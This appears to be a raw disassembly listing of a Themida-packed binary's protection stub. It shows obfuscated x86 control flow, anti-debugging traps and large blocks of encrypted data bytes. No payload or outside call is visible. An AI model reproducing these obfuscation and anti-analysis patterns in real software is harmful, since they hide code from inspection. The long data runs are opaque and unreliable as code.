mov eax, 48CF7676h
or eax, 278D0C82h
xor eax, 43A1176Fh
xor edi, eax
pop eax
and edi, 359406D2h
shl edi, 2
inc edi
shr edi, 3
sub edi, 2AA63F7h
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 555Ch
mov [esp], edx
mov edx, 8
add edx, ecx
mov [edx], edi
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_54EA15
; ---------------------------------------------------------------------------
db 45h, 0E2h, 0DEh
dd 0CEBB2C5Eh, 0CCE2736Ch
db 0DDh
; ---------------------------------------------------------------------------
loc_581601: ; CODE XREF: Themida_:loc_580914j
mov eax, 615AB4Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 4EF9h
dd 981C6851h, 8B866B17h, 0F9F25C20h, 945B7ABCh, 49234E68h
dd 22E00907h, 0EC352A2Ch, 0AE161AF1h, 368D4784h, 3EFE505Eh
dd 0F083471Ch, 1CFE5191h, 0CAB94B0Ah, 0F3370432h, 7E5D7Eh
dd 0C43769BDh, 0D3AD59B1h, 0C2E21311h, 14E87331h, 74000000h
dd 22EA62EEh, 82DA6C67h, 6DD22492h, 3D0EE036h, 8B9AE827h
dd 8D0F5BD6h, 7, 1850Fh, 81FC0000h, 617CC3h, 9E900h, 21E80000h
dd 149CC646h, 0BEEDA18Fh, 0
dd 0AD1CCF81h, 48B5274h, 0C081FC33h, 71D3555Ah, 5E8h, 0B57F3200h
dd 0BF66895Dh, 8159CABAh, 579E99C0h, 0A3CA8046h, 2347F081h
dd 8166698Bh, 502D45D2h, 8F0FE180h, 0BE83304h, 5000000h
dd 9F8AEA9Ah, 4F37C041h, 0F5A3095h, 1C89h, 11E800h, 7CC0000h
dd 0FDFA98Ch, 0D2FA7095h, 5009B593h, 66A035F2h, 0B2BEF181h
dd 1EE835Fh, 98F8F8BFh, 4E4E4E43h, 4F9FD981h, 0FE813BB3h
dd 0FFFF9F74h, 10850Fh, 28E90000h, 0B6000000h, 6A4B655Ah
dd 1D1EB6A2h, 815013CBh, 56F92EC2h, 5FE95F5Bh, 85FFFFFFh
dd 86FF56CEh, 630F9D23h, 0BF5C380Dh, 0E9A615D4h, 148h
dd 78h, 7Ch, 80h, 84h, 88h, 8Ch, 90h, 94h, 0D8h, 0DCh
dd 0E0h, 0E4h, 0E8h, 0ECh, 0F0h, 0F4h, 0F8h, 0FCh, 100h
dd 104h, 108h, 10Ch, 110h, 114h, 38h dup(0)
; ---------------------------------------------------------------------------
mov ah, 17h
pop eax
add bl, ch
push eax
mov ds:3E858D00h, al
lodsd
adc eax, 659D0906h
sbb edx, [edx]
push es
mov [ebp+615AE7Eh], eax
mov byte ptr [ebp+6122871h], 54h
xor [ebp+6121165h], edx
pusha
jmp loc_5818CD
; ---------------------------------------------------------------------------
db 72h, 0E3h, 34h
; ---------------------------------------------------------------------------
stosd
pushf
or ebx, [edx]
add [ecx+edx*2], ecx
lodsd
int 3 ; Trap to Debugger
loc_5818CD: ; CODE XREF: Themida_:005818BCj
add eax, [ebp+61231ADh]
popa
push 95134E3Dh
push esi
mov esi, 7E17FE97h
pop edx
add dword ptr [esp], 594F19ECh
xor si, 8E71h
push dword ptr [ebp+61230E9h]
lea eax, [ebp+6157F35h]
mov edx, 3513B547h
call eax
cld
jl loc_58190C
add [ebp+6121025h], edx
loc_58190C: ; CODE XREF: Themida_:00581900j
mov [ebp+615AE82h], eax
jmp loc_581955
; ---------------------------------------------------------------------------
stc
push esi
mov esi, [ebp+615AE7Eh]
mov [esi], eax
add dword ptr [ebp+615AE7Eh], 4
pop esi
retn
; ---------------------------------------------------------------------------
pusha
lea esi, [ebp+615AD3Eh]
jmp short loc_581942
; ---------------------------------------------------------------------------
loc_581933: ; CODE XREF: Themida_:00581945j
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+615AE82h]
pop esi
add esi, 4
loc_581942: ; CODE XREF: Themida_:00581931j
cmp dword ptr [esi], 0
jnz short loc_581933
popa
retn
; ---------------------------------------------------------------------------
db 0Fh, 8Ah, 6
dd 89000000h, 121EB99Dh
; ---------------------------------------------------------------------------
push es
loc_581955: ; CODE XREF: Themida_:00581912j
lea eax, [ebp+615AF14h]
mov [ebp+61210C9h], eax
jmp loc_581987
; ---------------------------------------------------------------------------
dw 5B73h
dd 4A53h, 6 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_581987: ; CODE XREF: Themida_:00581961j
jmp loc_581EDC
; ---------------------------------------------------------------------------
dd 88269285h, 9C3AA498h, 0B452B4ACh, 0CA68CEC4h, 0DF7DE5DAh
dd 0B0A51772h, 0C3BAAA48h, 0D8D1C15Fh, 0F0EADA78h, 94F5F492h
dd 0FEB6FB23h, 9DEF0275h, 3A62D35Ch, 416FE907h, 0B7B189F3h
dd 0ABA05659h, 2C02A543h, 8E66D036h, 0B58B3694h, 0B1D94ABBh
dd 0B86FE907h, 79CFD26Ah, 7C762C0Fh, 0DCB21B1Eh, 928A82E4h
dd 0FAEEC630h, 0DFD78D90h, 0CCC47A7Dh, 2CA5676Ah, 9D3EDD4Ch
dd 696CD0C7h, 2808A913h, 84AC1DA6h, 8B6FE907h, 1FBD33Dh
dd 1C1505A3h, 423B11BCh, 1F89DFE2h, 58B8B1A1h, 44A89F55h
dd 4B2BEA41h, 8523837Ch, 0E9DD9B95h, 8E267C7Fh, 70D3A8Bh
dd 5BC6FE9h, 7AFA5125h, 6141D81Dh, 98000000h, 6265CDC2h
dd 0BA1C140Ch, 865C1450h, 0E7BF2991h, 0DDCD93EDh, 72AEC782h
dd 5C86D7DAh, 0B6FE979h, 379F946Ah, 784C2CCDh, 0D81DED21h
dd 168h, 1B0F0E00h, 4F8AEB1h, 0B1EFF89Eh, 0BE567221h, 0A90F05BBh
dd 1FA849A6h, 0E9AD86AEh, 4F47956Fh, 9DF3F656h, 0E3B29233h
dd 0F7E785EFh, 0AD019FFDh, 3A62D35Ch, 416FE907h, 0BCB189F3h
dd 7A8D041h, 0C4BE6FE9h, 0C4B96766h, 6B03595Ch, 821A7A73h
dd 6BD5C97Fh, 0B3934C68h, 0DC87EFE4h, 0A9AC0E06h, 7B6BE953h
dd 6A202381h, 8F651072h, 0EACD3795h, 0C99D7D56h, 0D81D8082h
dd 0C3A9h, 1A0F4F00h, 159507B2h, 0C5E046B6h, 0DF482B95h
dd 26BDE556h, 7ECC6FE9h, 0E2443C14h, 58E182DFh, 0E926BFE7h
dd 78E0D56Fh, 73D1CB79h, 18821A70h, 0D3C89777h, 0F4EAC06Bh
dd 0B6A6248Eh, 31195DC1h, 0F3A2CA3Bh, 5BA96FE9h, 19676EC7h
dd 3F157E81h, 8BE1E448h, 32359F93h, 0A49A72DCh, 0E4A73B3Eh
dd 0E4A5B572h, 2F99D7F0h, 93DAAE8Eh, 0BAD81D92h, 6Fh, 0E3413B11h
dd 0E4208AE0h, 3A62D35Ch, 416FE907h, 0BCB189F3h, 12E85154h
dd 5CB2B51Dh, 0C1211AF2h, 0AD1108BEh, 3AFCF4AAh, 4548E042h
dd 7436BDCh, 0FC4A6FE9h, 4EBD9D56h, 400FEFA8h, 375FD04Bh
dd 9A6FE907h, 0E9070129h, 0BBBA086Fh, 0E337D56Dh, 2D9E1B0Fh
dd 6FE90705h, 2B2EC614h, 0E907ADDAh, 0C5A55C6Fh, 1D7A9AF1h
dd 1E1D8h, 0F870000h, 810AB517h, 0E907E810h, 3FA9F76Fh
dd 291DF35Ch, 7BA314BFh, 826FE907h, 0F8F2CA34h, 8140979Ah
dd 65DAD2A1h, 7436BDCh, 0FC4A6FE9h, 0E9074169h, 0F3594F6Fh
dd 519B9AF0h, 13F188BAh, 10A84059h, 0F3EEDD72h, 0ACA199FBh
dd 9001AC44h, 69FBB137h, 5F151866h, 79690765h, 0A076217Fh
dd 0FBDE48A6h, 0FBAF80AAh, 4F2FE875h, 0E25B5BCDh, 0D464410h
dd 73D1CBA3h, 8DEBE5D5h, 80DAD48Ah, 0A037432h, 45B016AAh
dd 30A24DE5h, 7F7955CCh, 5FCF48Ah, 385437A1h, 0AB1D9F7Fh
dd 33865FE9h, 24FC661Bh, 392ECC2Ah, 0DE3048E2h, 13429h
dd 86F78000h, 75FBC95Eh, 79B51F6Dh, 35E0636Ah, 0FB347BC4h
dd 7174C269h, 0C563C1BBh, 0F7534C22h, 81E44FB7h, 0B21CB4E1h
dd 0DE86E0DAh, 0DA8E8F39h, 66CAC1B9h, 0CA750D63h, 989BFBF4h
dd 3FF5D842h, 2EE4E745h, 1AD0D337h, 54BDC022h, 0FB0DBBE3h
dd 0D574C275h, 71CF3E1Eh, 0F09D8B8h, 0C71E13B1h, 0EDE2F80h
dd 43h, 0DC6F6AB4h, 0F9B8C031h, 0D9871016h, 0E5E880E0h
dd 0E9066C94h, 350B6EEFh, 84DADD3Bh, 2599791Ah, 0DB41372Ah
dd 3FEA82D8h, 16F8C6CEh, 0DFD3A990h, 20B82015h, 0EB89D7B6h
dd 900Ch, 9F956B00h, 6A93CF39h, 0C435E063h, 69FB1BAFh
dd 772D307Eh, 65C7BF7Dh, 453F2FCDh, 7493E4E7h, 0F275FB23h
dd 908A5939h, 2486AE1Fh, 479575FBh, 986E11AFh, 57D43EA0h
dd 0B122CD54h, 700EC735h, 2A9396E4h, 766BC7B8h, 0B21CBD69h
dd 0D782E0DAh, 8E45765h, 81EBD1BAh, 0A888479Eh, 0FFAA3934h
dd 0CED12F29h, 12830E78h, 6A03BE96h, 0B344A719h, 7255CF3h
dd 0AEB11B0Fh, 0C50FEE58h, 112C0E43h, 8AECE44Ah, 1993187h
dd 0F5EAC063h, 0CA348A8Dh, 52EA5C8Eh, 7C2E030Dh, 56D9C559h
dd 23F97E92h, 0B2313CB9h, 0D61A9607h, 0A77D69FCh, 15B64AB2h
dd 97E244FDh, 0FC4A2993h, 0EB4943F9h, 5635D4Dh, 0DB37E85Ah
dd 0D405A166h, 0DA36876Ah, 8929C5C3h, 0B41E12E8h, 0FAC9A94Ah
dd 21F7A200h, 6AC0C32Dh, 98928200h, 8B81373Ah, 0CCB2225h
dd 5635D2Ch, 1F7D7767h, 3771Ch, 95250000h, 0B01C0F59h
dd 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h
dd 389E944Ah, 25877F35h, 0E786C22h, 89514D0Bh, 4C181E1h
dd 83000000h, 0C8704E9h, 14895C24h, 9C36824h, 34890000h
dd 3A5E6824h, 3C890000h, 0BF575524h, 67EB79E8h, 8B8544BDh
dd 5FFD29ABh, 0A42AF581h, 0EE8945B5h, 3C8B545Dh, 4C48124h
dd 83000000h, 348904ECh, 242C8124h, 34FB04C8h, 8108478Fh
dd 4C80847h, 3C8B34FBh
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_54EA15
; ---------------------------------------------------------------------------
dd 8C5E3ED4h, 52F1BD56h, 0F4121BAAh
; ---------------------------------------------------------------------------
loc_581EDC: ; CODE XREF: Themida_:loc_581987j
mov eax, 615B43Ch
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0BEh, 0F1h, 32h
dd 4F902349h, 0C197550Bh, 0B79C847Bh, 0C9EFAA78h, 99AA5D32h
dd 43685832h, 0EC5A1B44h, 0BD42E87Bh, 3BF4E7Bh, 10EF8C2Ch
dd 0D17B266Eh, 0EC63880Bh, 0EE1DCC4Ah, 0F1DEC302h, 3ABF1D06h
dd 60EE9E2Fh, 649BC857h, 0F5ECF7Fh, 0EEECAA30h, 0FD817627h
dd 0BF34EF72h, 0EC7ADC4Ch, 0ABBF60Fh, 0AFD48F18h, 5CF57367h
dd 0AE259761h, 96BB2503h, 0EDD55D65h, 8F4FEB59h, 0ABFA251Ch
dd 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h
dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 0D09500A6h
dd 0EA1A0047h, 0D5A3h, 199C0000h, 0FECBh, 0FBFE49h, 0B4870000h
dd 202352DDh, 339C9ED9h, 4EE977E7h, 6A000012h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0AAD6C350h, 0B6296467h, 0F79440Bh, 380h, 0D0BF0F00h
dd 35D18166h, 0ADBD83CCh, 61207h, 33850Fh, 85890000h, 6121895h
dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 8B7804D5h, 12191595h, 4C206h, 6AC08BFCh
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0E456C356h, 0B53F6118h, 7CF18166h, 91BD8314h
dd 6121Bh, 0BD830975h, 61217DDh, 50137400h, 0B8C08B53h
dd 4D0h, 0ABE39D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh
dd 50117400h, 4D0B853h, 9D8D0000h, 614AB30h, 585BD3FFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4DC35343h
dd 29181CEBh, 48AEF3A2h, 0C58D8BACh, 52061207h, 9BD8D09h
dd 8B5A0612h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 8B6622F1h, 0FD8D8BFBh, 8D06121Ch
dd 15B58885h, 0DE906h, 8C4E0000h, 0C3CC8826h, 0CFC89E1Dh
dd 0FEF76AAh, 481h, 0A1B96600h, 0FE8B5044h, 6A240489h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0F2E7C356h, 95892FF2h, 612033Dh, 0B545858Dh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0B589ABC3h, 6121185h, 18818589h, 0F900612h
dd 8Ch, 52505000h, 0CB8B310Fh, 6A90585Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0E2A7C355h
dd 23ECD4F8h, 10E983h, 0D3870000h, 6C948130h, 0BB236411h
dd 821231B7h, 95FF219Ah, 612109Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 87C35141h, 8055E58Dh, 448BEBD9h
dd 6A0424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 5FF2C2C3h, 0E80DB200h, 0Ch, 0D0C1D39h, 0E2C7C5DBh
dd 0F3FD09D8h, 7085895Fh, 6A0615B5h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4CE9C350h
dd 0F85D8A20h, 0FC9D7C59h, 824448Bh, 774C56BFh, 84858900h
dd 830615B5h, 120881BDh, 850F0006h, 0E9h, 0FE9h, 860C0000h
dd 2ABD262h, 5B0D8C2Bh, 3D79FC14h, 287185C6h, 6A470612h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 5CADC353h, 9B32F482h, 68D7BF0Fh, 90278BEBh
dd 842C22BFh, 2434811Ah, 44BD2C39h, 1C49BD89h, 0B5FF0612h
dd 61230E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 32C35646h, 4B55B80Ah, 0FDBD297Ah, 8906121Ch, 1219ED8Dh
dd 35858D06h, 6A06157Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 0C680C351h, 8BD0FFF8h
dd 1219E995h, 81858906h, 6A061208h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F2FEC357h
dd 5F7AB4E3h, 66A31218h, 314E1DB9h, 12229D95h, 0E1BD8306h
dd 61209h, 8E850Fh, 10E90000h, 10000000h, 16C5488Dh, 0E144331Dh
dd 0DD645BFDh, 0C6788433h, 12287185h, 8D014706h, 6120035h
dd 0E3FF8768h, 57525075h, 0F596160h, 9BF6631h, 81585A5Fh
dd 0B65B2404h, 9D31142Bh, 6123025h, 23D58589h, 0B5FF0612h
dd 61230E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 2CC35040h, 56A86EF8h, 8D1B501h, 8D590612h, 157F3585h
dd 0D9B58906h, 0FF061209h, 0EA8166D0h, 85894DE0h, 61209E1h
dd 2FEDBD83h, 0F000612h, 0B285h, 4D950100h, 0C6061203h
dd 12287185h, 0BF665606h, 4E89383h, 39000000h, 57D41F6Dh
dd 0EE860h, 0AF390000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh
dd 6159575Ah, 0E860505Ah, 7, 8A0F85Eh, 0F979267h, 83h
dd 8B615F00h, 8B042444h, 89D68B00h, 60042444h, 5F616057h
dd 0EA8A5861h, 30E9B5FFh, 81BA0612h, 8D1F2425h, 157F3585h
dd 0A9858906h, 0FF061200h, 56006AD0h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B5D03910h
dd 0AB969D48h, 8B663466h, 0ED8589FEh, 0F06122Fh, 687h
dd 0A8EF8100h, 0C6294D40h, 12287185h, 6A6C06h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 90C9FBC3h, 0BD8B581Ah, 6120975h, 1879B589h, 48680612h
dd 0BA90C1DAh, 60AB17C1h, 0CB243481h, 804BC4AAh, 0B5FFCEEAh
dd 61203B1h, 8DC8E980h, 123B5D85h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 10E9F5h, 0D0C90000h
dd 0D4994965h, 69B3DA1Fh, 36156413h, 0D0FF4A58h, 9921E981h
dd 85896068h, 615B574h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 5C35242h, 0DCADA1CFh, 0F30454Ch, 198Ah
dd 138F0F00h, 0E9000000h, 0Eh, 47026FF3h, 8C2D1BBBh, 0C960904Fh
dd 0BD83F69Fh, 615B590h, 18850F00h, 6A000001h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 8B10C357h, 120E41BDh, 7185C606h, 49061228h, 6880Fh
dd 9D890000h, 6121319h, 22F99D89h, 54680612h, 60518008h
dd 13E8h, 0AC952300h, 22D68A0Bh, 0D4D5A0DBh, 0F5ABDB4Bh
dd 0CC493E19h, 12E8h, 0D3C65700h, 5D297DC1h, 22946FD5h
dd 40E66161h, 582B12D0h, 5052505Eh, 5A310F52h, 60310F58h
dd 61585A61h, 95240481h, 8B3A9521h, 0B1B5FFFAh, 6A061203h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0A7EDC356h, 33D25209h, 120E89BDh, 5D858D06h
dd 8906123Bh, 1201599Dh, 6AD0FF06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 5A3DC355h
dd 0F15A1A1Ah, 0F781EC71h, 49BE70FCh, 0B5908589h, 6A0615h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0CFB73C3h, 59212533h, 6AF3299Bh, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 80893330h
dd 2B8B5C44h, 0B96686F7h, 0D08B0ADDh, 8E287568h, 52506040h
dd 310FCA8Bh, 585AA8B2h, 8161FA8Ah, 38752434h, 0DD80408Eh
dd 4E891h, 0
dd 0BF660001h, 665061BDh, 448BC88Bh, 0E3B50424h, 8B53008Bh
dd 448959FAh, 0BA500424h, 39E854CAh, 8589585Fh, 61210B1h
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 35FC70C3h, 5595898Ah, 0FF061231h, 12108195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0FB1CBCBh, 22CB86D7h, 0B5099C3Eh, 61206D9h
dd 185BD31h, 85890612h, 615B580h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 15h, 80C35343h, 7885C730h, 615B5h
dd 81000000h, 5F459BC2h, 6A006A75h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 9EF9C353h
dd 0FFD439CCh, 667DE6B4h, 0E84400BFh, 4, 10000h, 0B250CA8Bh
dd 24448BBEh, 88A0F04h, 0F000000h, 281h, 8B616000h, 8EB96600h
dd 2444892Bh, 5E804h, 0EA7C0000h, 0E8B3847Ch, 11h, 83A94881h
dd 0BB466CD3h, 0E83462C8h, 3FB310A1h, 11E8D7h, 59940000h
dd 0E10A15D0h, 561CA90Bh, 31F4D7CDh, 5F7FB5B1h, 6A585F59h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 3777C350h, 687332FCh, 8B532D27h, 8B5059FAh
dd 240489D0h, 68F0Fh, 95290000h, 61201C5h, 95890B6Ah, 6121085h
dd 0B54D858Dh, 0B70F0615h, 8B6690F8h, 525050CBh, 5E8h
dd 0F8C6D00h, 800F0978h, 0
dd 0E8310F5Ah, 0Bh, 0D391F37Bh, 4097E89Ah, 0FFFD95Bh, 85h
dd 585A5F00h, 0F9958B90h, 0FF06122Dh, 12088195h, 8DD18B06h
dd 15B557B5h, 3840F06h, 0F000000h, 5050CBB7h, 9E86052h
dd 0C5000000h, 1DCF310Ah, 4FF78A32h, 310F615Eh, 2870Fh
dd 0F88B0000h, 3489585Ah, 0CA816624h, 0F50AAE0h, 87h, 24048900h
dd 87D9503h, 95FF0612h, 61209E1h, 0A91F2B9h, 0C00BF558h
dd 19850Fh, 33600000h, 12142D85h, 0E1B52906h, 61061208h
dd 6BDE9h, 6D950100h, 0FF061211h, 0D78B66D0h, 0B580B58Bh
dd 0D58A0615h, 20468DF9h, 541958Bh, 46A0612h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 33C35343h, 0D9818233h
dd 57732AF4h, 0B156B950h, 4891037h, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0A1E4250Ch
dd 0CF8AA134h, 0B59095FFh, 55BF0615h, 0B693501h, 31840FC0h
dd 0F000000h, 33E9FFB7h, 6A000006h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FE9CC351h
dd 0C181661Ch, 9589155Eh, 6121069h, 207E80h, 600840Fh
dd 0BA660000h, 31600E1Ch, 12000DB5h, 20468D06h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AFC35141h, 95E0C321h
dd 820BC4EBh, 2AF18D8Bh, 85890612h, 615B57Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E0C35040h, 61067BFBh
dd 8B6660DDh, 418D89D9h, 6106121Bh, 58589h, 0AE90612h
dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0F62BC350h, 0A9958BDCh, 40061201h
dd 198F0Fh, 8B0F0000h, 13h, 0EE9h, 0C3B2F600h, 0CD33346Bh
dd 7AD95CD2h, 901FF282h, 0AE8h, 98D1CF00h, 45E053F6h, 66067C4Ch
dd 505AD08Bh, 0D08B6660h, 4359BB66h, 46A9061h, 2820Fh
dd 0A7B50000h, 60606090h, 615E5661h, 5061FB8Bh, 2D4FBA66h
dd 7F41BA90h, 95FF3F42h, 615B590h, 7E9h, 8FFA9700h, 5D91D5B7h
dd 2FF18D31h, 0D88B0612h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 9CA44304h
dd 8B5CFA72h, 1222C58Dh, 0FDB0B06h, 3C84h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 74BD6BCAh, 0C8E845B4h, 0BCB5A4E9h, 0E9D08B66h, 48Eh
dd 8E9h, 0B9BA7900h, 78761D2Bh, 388056h, 0FF11850Fh, 0C88AFFFFh
dd 46E9h, 6A4800h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 0D20927C3h, 46747780h, 1D870Fh
dd 0B7600000h, 14E9A7h, 0B0930000h, 50CAB4F3h, 5942704Dh
dd 0D5487DC6h, 13734BACh, 3B61F9D6h, 15B57C85h, 3E820F06h
dd 29000000h, 122DBD95h, 5C388006h, 2F840Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0ED7D1DC3h, 388049F8h, 76850F2Fh, 33FFFFFFh, 122ACD95h
dd 0F604006h, 168Ch, 10E800h, 7B7D0000h, 6BB8E070h, 2BD1C04Bh
dd 9EF1B1B5h, 665FDF74h, 613CD2BBh, 0B584BD83h, 0F000615h
dd 18584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 6049E44Dh, 0FE9h, 274E4500h, 0B20CCC23h
dd 0CAC4FC91h, 0FF7A5440h, 1009B589h, 0F610612h, 0B529D0BFh
dd 6123079h, 50BEB590h, 90CE8B66h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 83C35343h, 0B5898260h, 61221B5h
dd 0B5848503h, 9D890615h, 6120939h, 0A70CE781h, 60502C6Ch
dd 28C0Fh, 0D78B0000h, 24048961h, 11D58D8Bh, 46A0612h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 72C35747h
dd 99B498EFh, 0C6BA6609h, 901CB560h, 0F27B160h, 48Ch, 3ABE6600h
dd 505061A7h, 0F43B552h, 5AF48A31h, 6A9058h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2BCB75C3h
dd 0B345A1B7h, 0B59095FFh, 5FBA0615h, 8B747229h, 99BD29D8h
dd 5806122Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 0D5C35242h, 0DAEE5CB9h, 8BB9E89Ch, 122FFDBDh, 0FDB0B06h
dd 3284h, 13E95200h, 0C1000000h, 27065902h, 3E2FEEEBh
dd 0BBB29E07h, 0B44E4084h, 0E959A6A7h, 252h, 0EE9h, 0D49AE700h
dd 33B05346h, 0B02BB609h, 0C6AB695Bh, 800F0000h, 3, 585ECD80h
dd 0D4D9501h, 53500612h, 0EE9h, 5BE1FA00h, 0C889EB88h
dd 9335F770h, 5AD607C6h, 6A240489h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 3269C351h
dd 8ACCDAFEh, 6A1E6AF3h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 556AC353h, 31A2C705h
dd 0D38B6617h, 50535290h, 5A310F52h, 505F5958h, 0D19D8990h
dd 0FF061223h, 15B59095h, 0BE806h, 0D1A40000h, 16B27B07h
dd 0AFC5332Ch, 25B5895Ch, 5F061229h, 6AD88Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5F2549C3h
dd 68F1539Dh, 817C42E5h, 0F5C2BCAh, 6A585Dh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3BC4FC3h
dd 7EB79247h, 0DB0BFA8Bh, 2F840Fh, 0CA8B0000h, 139E9h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 3F281ABh, 8924E4C1h, 1209B5BDh, 52505006h
dd 8264BF66h, 97B5310Fh, 489585Ah, 3D8D2924h, 0FF061211h
dd 15B570B5h, 0FFFB8B06h, 15B57495h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 9C8324C9h
dd 10E8F323h, 7C000000h, 93C4B3C7h, 0BDB3EE27h, 2D60D44Ch
dd 89614D73h, 121AAD8Dh, 0C00B5F06h, 4A850Fh, 0CA810000h
dd 3BCC5070h, 7840F61h, 57000000h, 0C7A520B9h, 85C7592Dh
dd 615B578h, 1, 83E98FB1h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0FB6EC351h
dd 8D8B23F9h, 6121C89h, 55006A61h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0E7BC342h, 0A9BD89E6h
dd 3061230h, 1228D18Dh, 1CC68106h, 0E9000001h, 0FFFFF97Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h
dd 0BBDA97A2h, 0EF81662Ch, 0B568F588h, 8160A16Ah, 0EAB52434h
dd 9D8960A1h, 6122D41h, 10E8h, 6F626500h, 8C860E5Bh, 17549B1Eh
dd 804791FFh, 9ABA6692h, 6A5ADAh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 81C35040h, 91F9902h, 8E8h
dd 189EED00h, 0F259960Bh, 15BF6644h, 0B5FF5AE5h, 615B580h
dd 2FED95FFh, 80600612h, 9529C6DDh, 6121D61h, 45BD8961h
dd 8B06122Ah, 15B57885h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 79B617F5h, 14E890h, 0F0660000h
dd 0CEF181D7h, 793B4C0Ah, 0F4111CB2h, 0B0D5F41Bh, 0F60CEC5h
dd 86h, 505F6100h, 4ABEBA66h, 8B96690h, 259D29F1h, 8D061230h
dd 15B58885h, 0F88B6606h, 0EC8A5050h, 2404895Fh, 0E855006Ah
